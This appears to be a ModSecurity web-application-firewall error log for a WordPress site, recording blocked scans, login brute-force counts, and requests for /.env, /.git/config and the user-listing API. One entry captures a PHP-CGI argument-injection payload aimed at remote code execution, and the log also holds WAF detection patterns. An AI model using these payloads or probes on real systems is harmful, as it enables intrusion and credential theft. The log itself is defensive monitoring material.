[Wed Nov 19 23:46:32.439563 2025] [:error] [pid 6644:tid 6658] [client 185.238.231.179:39175] [client 185.238.231.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3mWE0i6Rf788MB6sYGIAAAAMw"]
[Wed Nov 19 23:46:32.439852 2025] [:error] [pid 6644:tid 6652] [client 185.238.231.176:58339] [client 185.238.231.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3mWE0i6Rf788MB6sYGIQAAAMY"]
[Wed Nov 19 23:49:16.389802 2025] [:error] [pid 6554:tid 6561] [client 185.238.231.197:57491] [client 185.238.231.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3m_N8rvPWLafJFqmUVkAAAAAI"]
[Wed Nov 19 23:49:16.394698 2025] [:error] [pid 12673:tid 12724] [client 185.238.231.186:23327] [client 185.238.231.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3m_Mab1F0fb062dH2ZRQAAAhQ"]
[Wed Nov 19 23:52:01.835637 2025] [:error] [pid 6644:tid 6660] [client 185.238.231.174:22683] [client 185.238.231.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3noU0i6Rf788MB6sYHuAAAAM4"]
[Wed Nov 19 23:52:01.844935 2025] [:error] [pid 6644:tid 6669] [client 185.238.231.201:64281] [client 185.238.231.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3noU0i6Rf788MB6sYHuQAAANc"]
[Wed Nov 19 23:54:45.250041 2025] [:error] [pid 6554:tid 6560] [client 185.238.231.165:41799] [client 185.238.231.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.165, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3oRd8rvPWLafJFqmUWQQAAAAE"]
[Wed Nov 19 23:54:45.275465 2025] [:error] [pid 26664:tid 26676] [client 185.238.231.170:42237] [client 185.238.231.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3oRYpWc1yoj2P7MeAhGQAAAUk"]
[Thu Nov 20 00:27:20.587625 2025] [:error] [pid 50210:tid 50326] [client 184.168.126.97:38570] [client 184.168.126.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.168.126.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR3v6N9KVfTGhSw-ebui7gAAABQ"]
[Thu Nov 20 01:19:05.556262 2025] [:error] [pid 50210:tid 50330] [client 43.153.135.208:46464] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aR38Cd9KVfTGhSw-ebux1QAAABg"]
[Thu Nov 20 02:23:54.284999 2025] [:error] [pid 50223:tid 50355] [client 91.92.242.56:51714] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aR4LOj4iSUKl66cdvvbjrAAAAFQ"]
[Thu Nov 20 02:23:54.846875 2025] [:error] [pid 50236:tid 50375] [client 91.92.242.56:52130] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aR4LOmT-l-atWVKihhstqQAAAI0"]
[Thu Nov 20 02:24:03.093029 2025] [:error] [pid 8195:tid 8213] [client 91.92.242.56:52448] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wc-fields-factory/readme.txt"] [unique_id "aR4LQys33_quRYR1WMaxMQAAAhA"]
[Thu Nov 20 02:24:03.654876 2025] [:error] [pid 8908:tid 8934] [client 91.92.242.56:57330] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wc-fields-factory/readme.txt"] [unique_id "aR4LQ7VPLa0l9KdQm6z04QAAA5Y"]
[Thu Nov 20 02:24:07.597126 2025] [:error] [pid 7924:tid 7939] [client 91.92.242.56:57660] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/user-registration-pro/readme.txt"] [unique_id "aR4LR6GUpXw1x9m1v_BNQwAAAU0"]
[Thu Nov 20 02:24:08.162744 2025] [:error] [pid 8396:tid 8400] [client 91.92.242.56:60185] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/user-registration-pro/readme.txt"] [unique_id "aR4LSIolA09HZQNzyMD1TAAAAsI"]
[Thu Nov 20 02:24:14.447612 2025] [:error] [pid 8822:tid 8844] [client 91.92.242.56:60522] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/motors/CHANGELOG.md"] [unique_id "aR4LTjHA2IF8PiYVHyhl3wAAAxQ"]
[Thu Nov 20 02:24:15.009736 2025] [:error] [pid 8872:tid 8892] [client 91.92.242.56:64483] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/motors/CHANGELOG.md"] [unique_id "aR4LTzkBDH0q-89RJLFIMgAAA1E"]
[Thu Nov 20 02:24:15.572909 2025] [:error] [pid 8909:tid 8955] [client 91.92.242.56:64866] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/motors/CHANGELOG.md"] [unique_id "aR4LT2nKNOWZ-UbT97B3nAAAA9A"]
[Thu Nov 20 02:24:16.146193 2025] [:error] [pid 8872:tid 8882] [client 91.92.242.56:65274] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/motors/CHANGELOG.md"] [unique_id "aR4LUDkBDH0q-89RJLFINgAAA0c"]
[Thu Nov 20 02:41:48.433629 2025] [:error] [pid 8822:tid 8833] [client 182.42.111.156:38516] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aR4PbDHA2IF8PiYVHyhpTAAAAwk"]
[Thu Nov 20 03:24:30.171536 2025] [:error] [pid 8365:tid 8389] [client 92.205.231.61:47708] [client 92.205.231.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.231.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR4ZbhhyiKKdRMrEbr24PQAAApQ"]
[Thu Nov 20 03:50:50.338438 2025] [:error] [pid 35156:tid 35189] [client 20.19.181.152:20433] [client 20.19.181.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aR4fms27951RUXDRzIwcrwAAANY"]
[Thu Nov 20 03:50:51.100033 2025] [:error] [pid 35156:tid 35178] [client 20.19.181.152:20447] [client 20.19.181.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aR4fm827951RUXDRzIwctQAAAMs"]
[Thu Nov 20 03:50:58.787093 2025] [:error] [pid 35049:tid 35093] [client 20.19.181.152:20439] [client 20.19.181.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aR4fostQlMEnibYlZqhaAwAAAEI"]
[Thu Nov 20 03:50:59.658499 2025] [:error] [pid 35050:tid 35126] [client 20.19.181.152:20360] [client 20.19.181.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aR4fo5QztlZGE1-LGfmAPQAAAIU"]
[Thu Nov 20 06:35:10.691817 2025] [:error] [pid 34405:tid 34424] [client 81.88.52.75:55656] [client 81.88.52.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.88.52.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR5GHjFpvu8oRK7ATft-ugAAARE"]
[Thu Nov 20 06:35:14.072011 2025] [:error] [pid 55343:tid 55400] [client 81.88.52.75:38594] [client 81.88.52.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.88.52.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR5GIlWlO3EnyVMV7w4FiAAAAIE"], referer: http://gigfragments.org/wp-login.php
[Thu Nov 20 06:35:16.916906 2025] [:error] [pid 55430:tid 55444] [client 81.88.52.75:38606] [client 81.88.52.75] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aR5GJPPZXaIMEU4pE7tLfQAAAMs"], referer: http://gigfragments.org/wp-login.php
[Thu Nov 20 06:35:18.041803 2025] [:error] [pid 34444:tid 34453] [client 81.88.52.75:37680] [client 81.88.52.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.88.52.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR5GJlNEol4jlmmA_GOcCQAAAUc"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F
[Thu Nov 20 06:49:55.331760 2025] [:error] [pid 55340:tid 55356] [client 43.166.250.187:37892] [client 43.166.250.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR5Jk_OxD-NeMydTybDQsQAAAAs"]
[Thu Nov 20 07:01:39.673775 2025] [:error] [pid 34405:tid 34422] [client 102.129.75.62:17788] [client 102.129.75.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.129.75.62, incrementing ddos counter"] [hostname "www.gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR5MUzFpvu8oRK7ATfuEOQAAAQ8"]
[Thu Nov 20 07:01:44.553603 2025] [:error] [pid 55342:tid 55389] [client 102.129.75.62:17789] [client 102.129.75.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 102.129.75.62, incrementing brute counter"] [hostname "www.gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR5MWLg6x32Tvk7fIG9LkAAAAFE"]
[Thu Nov 20 09:39:07.332998 2025] [:error] [pid 55430:tid 55437] [client 45.141.215.114:10448] [client 45.141.215.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.141.215.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR5xO_PZXaIMEU4pE7t6SAAAAMQ"], referer: https://www.google.com/
[Thu Nov 20 09:39:11.275276 2025] [:error] [pid 34405:tid 34430] [client 45.141.215.114:10464] [client 45.141.215.114] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aR5xPzFpvu8oRK7ATfuo4QAAARc"]
[Thu Nov 20 10:21:00.353735 2025] [proxy_fcgi:error] [pid 34444:tid 34464] (70007)The timeout specified has expired: [client 51.81.107.180:53486] AH01075: Error dispatching request to : (polling)
[Thu Nov 20 12:10:24.902515 2025] [:error] [pid 55430:tid 55438] [client 98.81.111.26:62106] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR6UsPPZXaIMEU4pE7uhXQAAAMU"]
[Thu Nov 20 12:10:25.317629 2025] [:error] [pid 804:tid 837] [client 98.81.111.26:63272] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR6UsfaRHpUlPL9O0Lk2BQAAAY0"]
[Thu Nov 20 12:10:25.735591 2025] [:error] [pid 804:tid 840] [client 98.81.111.26:58559] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR6UsfaRHpUlPL9O0Lk2EAAAAZA"]
[Thu Nov 20 12:10:26.151418 2025] [:error] [pid 804:tid 837] [client 98.81.111.26:64579] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR6UsvaRHpUlPL9O0Lk2FwAAAY0"]
[Thu Nov 20 12:15:53.025522 2025] [:error] [pid 55340:tid 55364] [client 98.81.111.26:63234] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR6V-fOxD-NeMydTybBNhQAAABM"]
[Thu Nov 20 12:15:53.846782 2025] [:error] [pid 55343:tid 55418] [client 98.81.111.26:50996] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR6V-VWlO3EnyVMV7w5o-gAAAJM"]
[Thu Nov 20 12:15:54.680959 2025] [:error] [pid 804:tid 836] [client 98.81.111.26:56155] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR6V-vaRHpUlPL9O0Lk5dwAAAYw"]
[Thu Nov 20 12:15:55.506601 2025] [:error] [pid 55430:tid 55437] [client 98.81.111.26:61564] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR6V-_PZXaIMEU4pE7umTQAAAMQ"]
[Thu Nov 20 12:15:56.327957 2025] [:error] [pid 34405:tid 34425] [client 98.81.111.26:50451] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR6V_DFpvu8oRK7ATfvNVgAAARI"]
[Thu Nov 20 15:08:04.663723 2025] [:error] [pid 55430:tid 55444] [client 106.119.167.146:54555] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aR6-VPPZXaIMEU4pE7vbWAAAAMs"]
[Thu Nov 20 16:23:58.708847 2025] [:error] [pid 40445:tid 40476] [client 167.99.181.249:40888] [client 167.99.181.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aR7QHlH-MuFcoWRjXpYwPQAAAkE"]
[Thu Nov 20 16:24:08.919085 2025] [authz_core:error] [pid 40508:tid 40529] [client 167.99.181.249:57980] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Thu Nov 20 16:24:14.224105 2025] [:error] [pid 40508:tid 40510] [client 167.99.181.249:58012] [client 167.99.181.249] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aR7QLqxXNVCMW_ksxPt1EwAAAoA"]
[Thu Nov 20 16:24:14.838613 2025] [:error] [pid 34405:tid 34414] [client 167.99.181.249:58024] [client 167.99.181.249] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aR7QLjFpvu8oRK7ATfv9LAAAAQc"]
[Thu Nov 20 21:42:16.413851 2025] [:error] [pid 40508:tid 40511] [client 203.33.203.148:59933] [client 203.33.203.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR8auKxXNVCMW_ksxPvgbgAAAoE"]
[Thu Nov 20 22:13:53.207589 2025] [:error] [pid 40445:tid 40485] [client 35.243.223.150:50802] [client 35.243.223.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.243.223.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR8iIVH-MuFcoWRjXpakDAAAAko"]
[Thu Nov 20 22:15:12.236539 2025] [:error] [pid 55430:tid 55439] [client 195.20.233.67:57946] [client 195.20.233.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.20.233.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR8icPPZXaIMEU4pE7smrgAAAMY"]
